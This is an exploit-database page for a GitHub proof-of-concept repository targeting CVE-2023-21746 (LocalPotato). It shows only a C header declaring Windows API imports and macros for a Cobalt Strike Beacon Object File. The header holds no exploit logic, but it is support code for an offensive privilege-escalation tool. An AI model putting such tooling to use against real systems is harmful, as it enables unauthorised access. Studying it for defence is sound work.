Exploit database

GH-0aae828bb3341b86709dc8c0669dc8c3

tailoredsecops/peredboempatat-bof

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-21746

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
tailoredsecops/peredboempatat-bofRevision ef6f98360480

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

bofdefs.h

Text · 11,993 bytes
#pragma once
#ifndef BOFDEFS_H
#define BOFDEFS_H

#define SECURITY_WIN32

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <winternl.h>
#include <security.h>
#include <wincrypt.h>

// =============================================================================
// Dynamic Function Resolution (DFR) Header for Cobalt Strike BOF
// LocalPotato NTLM Reflection Exploit
//
// BOFs cannot link against DLLs. Every Win32 API must be declared using the
// DFR naming convention: LIBRARY$FunctionName with DECLSPEC_IMPORT.
// =============================================================================

// ===== KERNEL32 =====
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateEventW(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCWSTR);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetEvent(HANDLE);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ResetEvent(HANDLE);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForMultipleObjects(DWORD, const HANDLE*, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR);
DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep(DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize(HANDLE, LPDWORD);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(void);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE, DWORD, LPVOID, SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);
DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO);
DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT, DWORD, LPCCH, int, LPWSTR, int);
DECLSPEC_IMPORT int WINAPI KERNEL32$WideCharToMultiByte(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
DECLSPEC_IMPORT void WINAPI KERNEL32$SetLastError(DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(void);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId(void);

// ===== WS2_32 =====
DECLSPEC_IMPORT int WINAPI WS2_32$WSAStartup(WORD, LPWSADATA);
DECLSPEC_IMPORT int WINAPI WS2_32$WSACleanup(void);
DECLSPEC_IMPORT SOCKET WINAPI WS2_32$socket(int, int, int);
DECLSPEC_IMPORT int WINAPI WS2_32$connect(SOCKET, const struct sockaddr*, int);
DECLSPEC_IMPORT int WINAPI WS2_32$send(SOCKET, const char*, int, int);
DECLSPEC_IMPORT int WINAPI WS2_32$recv(SOCKET, char*, int, int);
DECLSPEC_IMPORT u_short WINAPI WS2_32$htons(u_short);
DECLSPEC_IMPORT unsigned long WINAPI WS2_32$inet_addr(const char*);
DECLSPEC_IMPORT int WINAPI WS2_32$closesocket(SOCKET);
DECLSPEC_IMPORT INT WINAPI WS2_32$getaddrinfo(PCSTR, PCSTR, const ADDRINFOA*, PADDRINFOA*);
DECLSPEC_IMPORT void WINAPI WS2_32$freeaddrinfo(PADDRINFOA);
DECLSPEC_IMPORT u_short WINAPI WS2_32$ntohs(u_short);
DECLSPEC_IMPORT u_long WINAPI WS2_32$ntohl(u_long);
DECLSPEC_IMPORT u_long WINAPI WS2_32$htonl(u_long);

// ===== SECUR32 (SSPI) =====
DECLSPEC_IMPORT PSecurityFunctionTableW WINAPI SECUR32$InitSecurityInterfaceW(void);
// Note: Individual SSPI functions are called via the PSecurityFunctionTable, not directly via DFR
// The function table is obtained from InitSecurityInterfaceW() and contains:
// - AcquireCredentialsHandle
// - InitializeSecurityContext
// - AcceptSecurityContext
// - FreeCredentialsHandle
// - DeleteSecurityContext
// - FreeContextBuffer

// ===== OLE32 =====
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);
DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR, LONG, SOLE_AUTHENTICATION_SERVICE*, void*, DWORD, DWORD, void*, DWORD, void*);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoGetInstanceFromIStorage(COSERVERINFO*, CLSID*, IUnknown*, DWORD, IStorage*, DWORD, MULTI_QI*);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateILockBytesOnHGlobal(HGLOBAL, BOOL, ILockBytes**);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$StgCreateDocfileOnILockBytes(ILockBytes*, DWORD, DWORD, IStorage**);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCOLESTR, LPCLSID);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$StringFromCLSID(REFCLSID, LPOLESTR*);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL, BOOL, LPSTREAM*);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoTaskMemFree(LPVOID);
DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPCOLESTR, IID*);

// ===== RPCRT4 =====
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcServerUseProtseqEpW(RPC_WSTR, unsigned int, RPC_WSTR, void*);
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcServerRegisterIf(RPC_IF_HANDLE, UUID*, RPC_MGR_EPV*);
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcServerListen(unsigned int, unsigned int, unsigned int);
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcServerUnregisterIf(RPC_IF_HANDLE, UUID*, unsigned int);
DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$RpcServerRegisterAuthInfoW(RPC_WSTR, unsigned long, RPC_AUTH_KEY_RETRIEVAL_FN, void*);

// ===== NTDLL =====
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

// ===== CRYPT32 =====
DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptBinaryToStringA(const BYTE*, DWORD, DWORD, LPSTR, DWORD*);
DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptStringToBinaryA(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*);
DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptBinaryToStringW(const BYTE*, DWORD, DWORD, LPWSTR, DWORD*);
DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptStringToBinaryW(LPCWSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*);

// ===== MSVCRT (C runtime functions needed) =====
DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t);
DECLSPEC_IMPORT void __cdecl MSVCRT$free(void*);
DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void*, const void*, size_t);
DECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void*, int, size_t);
DECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void*, const void*, size_t);
DECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char*);
DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(const wchar_t*);
DECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char*, const char*);
DECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcscpy(wchar_t*, const wchar_t*);
DECLSPEC_IMPORT char* __cdecl MSVCRT$strcat(char*, const char*);
DECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcscat(wchar_t*, const wchar_t*);
DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char*, const char*);
DECLSPEC_IMPORT int __cdecl MSVCRT$wcscmp(const wchar_t*, const wchar_t*);
DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char*, size_t, const char*, ...);
DECLSPEC_IMPORT int __cdecl MSVCRT$_snwprintf(wchar_t*, size_t, const wchar_t*, ...);
DECLSPEC_IMPORT int __cdecl MSVCRT$sprintf(char*, const char*, ...);
DECLSPEC_IMPORT int __cdecl MSVCRT$swprintf(wchar_t*, const wchar_t*, ...);
DECLSPEC_IMPORT int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*);
DECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char*, const char*);
DECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcsstr(const wchar_t*, const wchar_t*);
DECLSPEC_IMPORT char* __cdecl MSVCRT$strstr(const char*, const char*);
DECLSPEC_IMPORT void* __cdecl MSVCRT$calloc(size_t, size_t);
DECLSPEC_IMPORT void* __cdecl MSVCRT$realloc(void*, size_t);

// =============================================================================
// Convenience macros to avoid typing LIBRARY$ everywhere in the implementation
// =============================================================================

// ----- KERNEL32 macros -----
#define CreateThread KERNEL32$CreateThread
#define CreateEventW KERNEL32$CreateEventW
#define SetEvent KERNEL32$SetEvent
#define ResetEvent KERNEL32$ResetEvent
#define WaitForSingleObject KERNEL32$WaitForSingleObject
#define WaitForMultipleObjects KERNEL32$WaitForMultipleObjects
#define CloseHandle KERNEL32$CloseHandle
#define GetModuleHandleW KERNEL32$GetModuleHandleW
#define LoadLibraryA KERNEL32$LoadLibraryA
#define GetProcAddress KERNEL32$GetProcAddress
#define Sleep KERNEL32$Sleep
#define CreateFileW KERNEL32$CreateFileW
#define ReadFile KERNEL32$ReadFile
#define GetFileSize KERNEL32$GetFileSize
#define VirtualAlloc KERNEL32$VirtualAlloc
#define VirtualFree KERNEL32$VirtualFree
#define GetProcessHeap KERNEL32$GetProcessHeap
#define HeapAlloc KERNEL32$HeapAlloc
#define HeapReAlloc KERNEL32$HeapReAlloc
#define HeapFree KERNEL32$HeapFree
#define MultiByteToWideChar KERNEL32$MultiByteToWideChar
#define WideCharToMultiByte KERNEL32$WideCharToMultiByte
#define GetLastError KERNEL32$GetLastError
#define SetLastError KERNEL32$SetLastError
#define GetCurrentProcess KERNEL32$GetCurrentProcess
#define GetCurrentProcessId KERNEL32$GetCurrentProcessId

// ----- WS2_32 macros -----
#define WSAStartup WS2_32$WSAStartup
#define WSACleanup WS2_32$WSACleanup
// Note: socket conflicts with type name, use underscore-prefixed macros
#define _socket WS2_32$socket
#define _connect WS2_32$connect
#define _send WS2_32$send
#define _recv WS2_32$recv
#define _htons WS2_32$htons
#define _closesocket WS2_32$closesocket
#define _getaddrinfo WS2_32$getaddrinfo
#define _freeaddrinfo WS2_32$freeaddrinfo
#define _ntohs WS2_32$ntohs
#define _ntohl WS2_32$ntohl
#define _htonl WS2_32$htonl
#define _inet_addr WS2_32$inet_addr

// ----- SECUR32 macros -----
#define InitSecurityInterfaceW SECUR32$InitSecurityInterfaceW

// ----- OLE32 macros -----
#define CoInitializeEx OLE32$CoInitializeEx
#define CoUninitialize OLE32$CoUninitialize
#define CoInitializeSecurity OLE32$CoInitializeSecurity
#define CoGetInstanceFromIStorage OLE32$CoGetInstanceFromIStorage
#define CreateILockBytesOnHGlobal OLE32$CreateILockBytesOnHGlobal
#define StgCreateDocfileOnILockBytes OLE32$StgCreateDocfileOnILockBytes
#define CLSIDFromString OLE32$CLSIDFromString
#define StringFromCLSID OLE32$StringFromCLSID
#define CreateStreamOnHGlobal OLE32$CreateStreamOnHGlobal
#define CoTaskMemFree OLE32$CoTaskMemFree
#define IIDFromString OLE32$IIDFromString

// ----- RPCRT4 macros -----
#define RpcServerUseProtseqEpW RPCRT4$RpcServerUseProtseqEpW
#define RpcServerRegisterIf RPCRT4$RpcServerRegisterIf
#define RpcServerListen RPCRT4$RpcServerListen
#define RpcServerUnregisterIf RPCRT4$RpcServerUnregisterIf
#define RpcServerRegisterAuthInfoW RPCRT4$RpcServerRegisterAuthInfoW

// ----- NTDLL macros -----
#define NtQueryInformationProcess NTDLL$NtQueryInformationProcess

// ----- CRYPT32 macros -----
#define CryptBinaryToStringA CRYPT32$CryptBinaryToStringA
#define CryptStringToBinaryA CRYPT32$CryptStringToBinaryA
#define CryptBinaryToStringW CRYPT32$CryptBinaryToStringW
#define CryptStringToBinaryW CRYPT32$CryptStringToBinaryW

// ----- MSVCRT macros -----
#define malloc MSVCRT$malloc
#define free MSVCRT$free
#define memcpy MSVCRT$memcpy
#define memset MSVCRT$memset
#define memcmp MSVCRT$memcmp
#define strlen MSVCRT$strlen
#define wcslen MSVCRT$wcslen
#define strcpy MSVCRT$strcpy
#define wcscpy MSVCRT$wcscpy
#define strcat MSVCRT$strcat
#define wcscat MSVCRT$wcscat
#define strcmp MSVCRT$strcmp
#define wcscmp MSVCRT$wcscmp
#define _snprintf MSVCRT$_snprintf
#define _snwprintf MSVCRT$_snwprintf
#define sprintf MSVCRT$sprintf
#define swprintf MSVCRT$swprintf
#define _wcsicmp MSVCRT$_wcsicmp
#define _stricmp MSVCRT$_stricmp
#define wcsstr MSVCRT$wcsstr
#define strstr MSVCRT$strstr
#define calloc MSVCRT$calloc
#define realloc MSVCRT$realloc

#endif // BOFDEFS_H